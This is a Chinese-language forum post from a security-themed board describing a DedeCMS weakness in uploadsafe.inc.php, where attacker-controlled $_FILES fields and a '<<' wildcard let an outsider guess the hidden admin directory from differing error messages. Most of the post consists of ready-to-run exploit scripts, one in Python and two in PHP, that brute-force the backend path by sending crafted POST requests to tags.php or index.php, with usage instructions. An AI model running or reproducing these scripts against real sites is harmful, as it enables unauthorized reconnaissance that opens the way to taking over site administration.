搜索
查看: 4515|回复: 0

DedeCMS最新找后台目录漏洞

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-3-20 10:16:43 | 显示全部楼层 |阅读模式 来自 甘肃陇南
看核心文件common.inc.php 大概148行左右
  1. if($_FILES)
  2. {
  3.     require_once(DEDEINC.'/uploadsafe.inc.php');
  4. }
复制代码
uploadsafe.inc.php
product_center.jpg
  1. if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
  2. {
  3.     exit('Request var not allow for uploadsafe!');
  4. }
  5. $_key = $_FILES[$_key]['tmp_name']; //获取temp_name
  6. ${$_key.'_name'} = $_FILES[$_key]['name'];
  7. ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
  8. ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
  9. if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
  10. {
  11.     if(!defined('DEDEADMIN'))
  12.     {
  13.         exit('Not Admin Upload filetype not allow !');
  14.     }
  15. }
  16. if(empty(${$_key.'_size'}))
  17. {
  18.     ${$_key.'_size'} = @filesize($_key);
  19. }
  20. $imtypes = array
  21. (
  22.     "image/pjpeg", "image/jpeg", "image/gif", "image/png",
  23.     "image/xpng", "image/wbmp", "image/bmp"
  24. );
  25. if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
  26. {
  27.     $image_dd = @getimagesize($_key);
  28.     //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
  29.     if (!is_array($image_dd))
  30.     {
  31.         exit('Upload filetype not allow !');
  32.     }
  33. }
复制代码
注意$$_key这一句,变量$key取自于$_FILE,由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现cfg_|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖)

本人出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。

但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name0或者1.jpg含. 就可以绕过。

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !
  1. #!/usr/bin/env python
  2. '''/*
  3.     * author = Mochazz
  4.     * team   = 红日安全团队
  5.     * env    = pyton3
  6.     *
  7.     */
  8. '''
  9. import requests
  10. import itertools
  11. characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
  12. back_dir = ""
  13. flag = 0
  14. # url = "https://www.0dayhack.com/tags.php"
  15. url = "https://www.0dayhack.com/tags.php"
  16. data = {
  17.     "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
  18.     "_FILES[mochazz][name]" : 0,
  19.     "_FILES[mochazz][size]" : 0,
  20.     "_FILES[mochazz][type]" : "image/gif"
  21. }

  22. for num in range(1,7):
  23.     if flag:
  24.         break
  25.     for pre in itertools.permutations(characters,num):
  26.         pre = ''.join(list(pre))
  27.         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
  28.         print("testing",pre)
  29.         r = requests.post(url,data=data)
  30.         if "Upload filetype not allow !" not in r.text and r.status_code == 200:
  31.             flag = 1
  32.             back_dir = pre
  33.             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
  34.             break
  35.         else:
  36.             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
  37. print("[+] 前缀为:",back_dir)
  38. flag = 0
  39. for i in range(30):
  40.     if flag:
  41.         break
  42.     for ch in characters:
  43.         if ch == characters[-1]:
  44.             flag = 1
  45.             break
  46.         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
  47.         r = requests.post(url, data=data)
  48.         if "Upload filetype not allow !" not in r.text and r.status_code == 200:
  49.             back_dir += ch
  50.             print("[+] ",back_dir)
  51.             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
  52.             break
  53.         else:
  54.             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

  55. print("后台地址为:",back_dir)

  56. python版exp
  57. <?php
  58. $domain='https://www.0dayhack.com/dedecms/';
  59. $url=$domain.'/index.php';
  60. function post($url, $data, $cookie = '') {
  61.     $options = array(
  62.         CURLOPT_RETURNTRANSFER => true,
  63.         CURLOPT_HEADER => true,
  64.         CURLOPT_POST => true,
  65.         CURLOPT_SSL_VERIFYHOST => false,
  66.         CURLOPT_SSL_VERIFYHOST => false,
  67.         CURLOPT_COOKIE => $cookie,
  68.         CURLOPT_POSTFIELDS => $data,
  69.     );
  70.     $ch = curl_init($url);
  71.     curl_setopt_array($ch, $options);
  72.     $result = curl_exec($ch);
  73.     curl_close($ch);
  74.     return $result;
  75. }
  76. $testlen=25;
  77. $str=range('a','z');
  78. $number=range(0,9,1);
  79. $dic = array_merge($str, $number);
  80. $n=true;
  81. $nn=true;
  82. $path='';
  83. while($n){
  84.     foreach($dic as $v){
  85.         foreach($dic as $vv){
  86.             #echo $v.$vv .'----';
  87.             $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
  88.             $result=post($url,$post_data);
  89.             if(strpos($result,'Upload filetype not allow !') === false){
  90.                 $path=$v.$vv;$n=false;break 2;
  91.             }
  92.         }
  93.     }
  94. }
  95. while($nn){
  96.     foreach($dic as $vvv){
  97.         $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
  98.         $result=post($url,$post_data);
  99.         if(strpos($result,'Upload filetype not allow !') === false){
  100.             $path.=$vvv;
  101.             echo $path . PHP_EOL;
  102.             $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
  103.             if(@file_get_contents($giturl)){
  104.                 echo $domain.'/'.$path.'/';
  105.                 $nn=false;break 2;
  106.             }
  107.         }
  108.     }
  109. }
  110. ?>

  111. PHP版exp1
  112. <?php
  113.     /*
  114.         dedecms 后台地址爆破工具
  115.         使用程序时,必须指定dedecms的版本,例如:5.6
  116.         当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!
  117.         Example: php.exe dedecms-exp.php 5.6 https://www.0dayhack.com/
  118.     */

  119.     if(!isset($argv[1]) or !isset($argv[2])) {
  120.         exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 https://www.0dayhack.com/");
  121.     }

  122.     $domain = $argv[2];
  123.     $url = $domain . '/tags.php';
  124.     $version = $argv[1];

  125.     $path = my_func($url);

  126.     if($path) {
  127.         while(($path = my_func($url, $path))) {
  128.             echo strtolower($path) . "\r\n";
  129.         }
  130.     }
  131.     else {
  132.         for($i = 48; $i <= 90; $i++) {
  133.             if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
  134.                 $path = my_func($url, chr($i));
  135.                 while($path) {
  136.                     echo strtolower($path) . "\r\n";
  137.                     $path = my_func($url, $path);
  138.                 }
  139.             }
  140.         }
  141.     }

  142.     exit();

  143.     function my_func($url, $path = '') {
  144.         $ch = curl_init($url);
  145.         $i = 48;
  146.         global $version;

  147.         while($i <= 90) {
  148.             if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
  149.                 if($version != '5.7') {
  150.                     /* v5.6版本及其以下 */
  151.                     $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
  152.                 }
  153.                 else {
  154.                     /* v5.7版本 */
  155.                     $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
  156.                 }

  157.                 $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

  158.                 $options = array(
  159.                                 CURLOPT_USERAGENT => 'Firefox/58.0',
  160.                                 CURLOPT_RETURNTRANSFER => true,
  161.                                 CURLOPT_POST => true,
  162.                                 CURLOPT_POSTFIELDS => $data,
  163.                 );

  164.                 curl_setopt_array($ch, $options);

  165.                 $response = curl_exec($ch);

  166.                 if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
  167.                     $path = $path . chr($i);
  168.                     return $path;
  169.                 }
  170.             }

  171.             $i++;
  172.         }

  173.         curl_close($ch);
  174.         return false;
  175.     }

  176. ?>

  177. PHP版exp2
复制代码

有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表